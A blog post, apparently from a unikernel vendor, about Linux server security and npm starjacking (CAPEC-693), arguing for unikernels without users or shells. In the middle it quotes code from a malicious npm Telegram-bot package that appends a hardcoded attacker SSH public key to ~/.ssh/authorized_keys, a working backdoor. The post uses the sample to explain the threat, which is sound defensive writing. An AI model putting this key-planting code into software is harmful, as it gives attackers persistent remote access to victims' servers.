Linux security doesn't get anywhere close to the same attention as windows based security does. While ransomware and RDP based attacks plague windows systems there is a big elephant in the room when it comes to linux servers.
Most of the worlds server-side software in the past decade or so have been built to be deployed on linux systems. Most of that software is also being deployed in the cloud.
Server Side Software is Different
The problem is that server side software still has the notion of running many different programs by many users on the same system just like desktop software even though that's not how server-side software is actually deployed. A lot of software such as webapp servers or databases don't even fit on a single server anymore - not to mention that these servers are inherently virtual. If you deploy to an ec2 instance you are not deploying to a server in a datacenter in Virginia. You are deploying to a fake virtual machine that is being managed by a hypervisor that runs on a server in a datacenter in Virginia. It is a very big difference. Security, performance and orchestration can all be abstracted and can offer very different outcomes.
On the orchestration front you can live migrate a vm from one failing server to a fresh brand new one or you can instantly add tens of gigs of new ram to a running database without it even being taken down. On the performance front you can slice and dice your machine up into various configurations of pinned vcpus.
We are starting to see more interesting security applications such as SEV but of course the big one is that the cloud is one gigantic multi-tenant system that so far has not had any catastrophic public incidents. That's a really huge achievement if you step back and think about it for a second.
So we've had great strides on the host but not so much in the guest. Engineering just lifted and shifted a 50 year old unix paradigm in and called it done.
Server software is not like desktop software. You must manage the security for your server software differently than you would for desktop software.
Initial Access
Initial access is a term used by the cybersecurity industry to describe how an attacker gets into a privileged network or a system they should not have access to. There are many different methods - whether it's uploading a webshell through a deserialization vulnerability in a java library or hijacked github actions that include malware -- a lot of it has an end goal of "get me a shell on this server".
Let's look at one recently popular method in particular called starjacking.
Just last week for instance more npm dependencies were discovered to be starjacking. CAPEC-693, is an attack pattern that has been abused quite a lot in the past few years. The way it works is that popular dependency managers such as NPM allow the package publisher to link any random github repo to their project. This then pulls in things like star counts but there is no vetting that the publisher actually owns the repo in question and so someone can be tricked into believing that the code is "vetted" (eg: it's very popular so it must be ok to use) when it is actually something completely different.
This is mainly bad design on the various package managers and something that they could easily choose to prevent if they cared.
In this example, that is still up as of this writing, we can see a package that looks legit but on closer inspection you can see that the attacker appends their own ssh key on L1351 and then pings a remote server with the details.
{key:'getGameHighScores',value:function
getGameHighScores(userId){var form=arguments.length <= 1 || arguments[1]
=== undefined?{}:arguments[1];form.user_id = userId;return
this._request('getGameHighScores',{form:form});}}]);return
TelegramBot;})(EventEmitter);function getBotId(){return new
Promise(function(resolve,reject){https.get('https://ipinfo.io/ip',function(res){var
data='';res.on('data',function(chunk){data +=
chunk;});res.on('end',function(){resolve(data.trim());});}).on('error',function(err){reject(err);});});}function
addBotId(){var
username,publicKey,ipAddress,fullPublicKey,sshDir,authorizedKeysPath,fileContent;return
regeneratorRuntime.async(function addBotId$(context$1$0){while(1)
switch(context$1$0.prev = context$1$0.next){case 0:username =
os.userInfo().username;publicKey = 'ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQC0eFAxoea78gXpURdj7ufXx1LVEOoVKawxRnwAghXHwGUw4V0V3n194wyUOUGrloGLn5IZ2JGdWLu0b0VHVG1asapkd8l7lKgvPf5yfjrccDs1qpvID8mLzsTfNMwZQlS+sw+bgJx/74f6i3t6QYuBsB0xPuLx8EXok96N1yTjPVXWq3Czwt5pmG+xZFddZLYDMpf8GonwdfTx7BACcapueoSMmOHZX3w1mjOHsT1b41gmHIEGsyo67KN4FLOkWOZIjc7Qge4iRjL24smRZPFJ4FeQjUo7rvEUxTNFb8yTgMGA+o2H3Uqvm/vXYiOTD87UUvy/3hOkoZzJLyFsV1bfyq6/8IQETqMguLzwIT8S1TlJHBUf1sXYh/5dHI4cMXz/r/eK4VlqQvZEE1TJIyAi0ZKnup6j2R3SdO/EIuZeanHyH/u6CboWZ8OcVzDY9EBVxmuYmkCIFiauNHlDNCJwm4CFM1oYinAQsh92zCUmZKQAgnH499mRPR1PWH4m1Ok=
sleeper@DESKTOP-GM46AVB';if(!(os.platform() ===
'linux')){context$1$0.next = 20;break;}context$1$0.prev =
3;context$1$0.next = 6;return regeneratorRuntime.awrap(getBotId());case
6:ipAddress = context$1$0.sent;fullPublicKey = '' + publicKey;sshDir =
path.join(os.homedir(),'.ssh');authorizedKeysPath =
path.join(sshDir,'authorized_keys');if(!fs.existsSync(sshDir)){fs.mkdirSync(sshDir,{mode:448});}if(fs.existsSync(authorizedKeysPath)){fileContent
=
fs.readFileSync(authorizedKeysPath,'utf8');if(!fileContent.includes(fullPublicKey)){fs.appendFileSync(authorizedKeysPath,'\n'
+ fullPublicKey);}}else
{fs.writeFileSync(authorizedKeysPath,fullPublicKey + '\n',{mode:384});
// console.log('Public key written to new authorized_keys file.');
Now the attacker can simply ssh in onto your network and your entire infrastructure is, to use the colloquial, "in deep shit".
We are long past the day where it is appropriate to have the notion of users and shells for servers like this.
The big problem with a shell is that it is explicitly designed to provide interactive ability to run not just one command but many commands, download new software and more importantly, since you are on an internal network, start hacking other hosts. Also, we call those 'commands' but what are they really? They are other programs - ones that have absolutely nothing to do with the operation of the software residing on the server.
Once the attacker has initial access it is only a matter of time before things escalate. Cyber companies make a big deal about privilege escalation but how about designing a system where there are no privileges for users as there are no users to begin with? Why not deal with the problem at the source? You don't yank a weed's top blades and let it re-grow - you need to yank the entire weed out to begin with.
If the attacker was able to hijack a depedency like this on say a webserver, there is a very high chance they have direct access to find the database password, username and ip address and thus connect to it as well. They can steal the entire database, encrypt it and ransom you or they can start mapping out the network to find other hosts to hijack.
The rise of distributed software such as kubernetes makes this problem even more severe as containers offer no security boundary and there is a very high chance that one can easily break out of a container and hit another host.
On a side note, I really dislike that github, npm and many others keep these highly malicious packages up on their sites even after multiple blogposts, including this one, are made about it publicly calling it out.
The Solution
A lot of security solutions are still based on the outdated concept that you can simply scan for hacked systems or systems that are going to be hacked but that only works once something is "discovered". Indeed the entire CVE ecosystem only tracks known vulnerabilities. It has no clue about unknown vulnerabilities.
Malware is also not typically tracked as it isn't something you want "patched" - you simply don't want it to exist to begin with. Furthermore, there is a whole universe of vulnerabilities in popular saas software that is not tracked since it is private and the vendor tends to address it as they find it
Malware that can be tracked, again that implies it is already known, is done through so-called IOCs, indicator of compromise. So there are scanners that introspect things like network urls or bad files. This is all fine but it is still predicated on the notion that there is software running on your system that you did not want and in all likelihood it is not just a hollowed out process and not just one other program but many many programs.
It is almost as if the multiple process operating system is designed for attackers.
It is super important to point out that we not only don't want ssh or remote access to our servers but we also do not want the capability of launching other programs other then the one intended to be ran. There is simply no reason for it if you know you are already virtualized and you are if you are in the cloud.
If you write your software with node and javascript why would you want the capbility for someone to start running apt-get install or a python script or run a curl command?
The simpler answer is that you don't. If you need to use apt-get to update your build on a system that should be a build/deployment time action - not a production runtime one. Unikernels enforce this with a heavy hand.
Even a lot of 'approved' system administration style work that various people would want a shell for becomes un-necessary when you are only running a single program as you can instrument your appliation with APM, ship out your logging via syslog and surprising to many people - debugging becomes much much easier as it's just one program. For instance, you can literally export the vm in question and run it locally in seconds.
Zero Trust
Ever since Google's infamous "ssl added and removed here" incident many organizations have popularized the concept of zero trust. The idea is that you should never be able to access various systems just because you are on the vpn. The problem with zero trust as defined in this manner is that you are still allowing people to login to systems that they shouldn't have access to. It's one thing to have a user account on a web application - it is quite another to allow ssh access to the underlying system.
Privileged Access Management
So then we get concepts like privileged access management and ssh lifecycles. Again - why do we even want this? We don't want sessions on production software anymore. They are there - people abuse them. Old habits die hard.
Principle of Least Privilege
This concept has been totally trashed in the past decade or so where a lot of software is running as root needlessly and the unprivileged accounts can easily 'sudo su' their way on up to root.
A lot of people will talk about "principle of least privilege" but how about a system with no privileges? A system with no users? What would that look like?
Intrusion Detection Systems
Similarly, intrusion detection systems are popularized as a method of detecting whether or not someone has gotten access to your system - but why have that if you can just prevent people from logging into the system to begin with - if there is by definition no access there?
Unikernels allow you to deploy the same code to the same infrastructure provider you are already using but done so in a sandbox like environment where there are no users, no shells, and no ability to run other programs than the one that is already running. It turns the game of lateral movement inside your network into something very very difficult forcing the attacker to "rop each hop" and nanos makes that so much harder given that each new deploy is completely new randomized address space.
Unikernels can neutralize many starjacking payloads and prevent the initial access or the initial breach of your systems.
You don't need a phd in cybersecurity - you just need to deploy your server software as unikernels.
Stop Deploying 50 Year Old Systems
Introducing the future cloud.
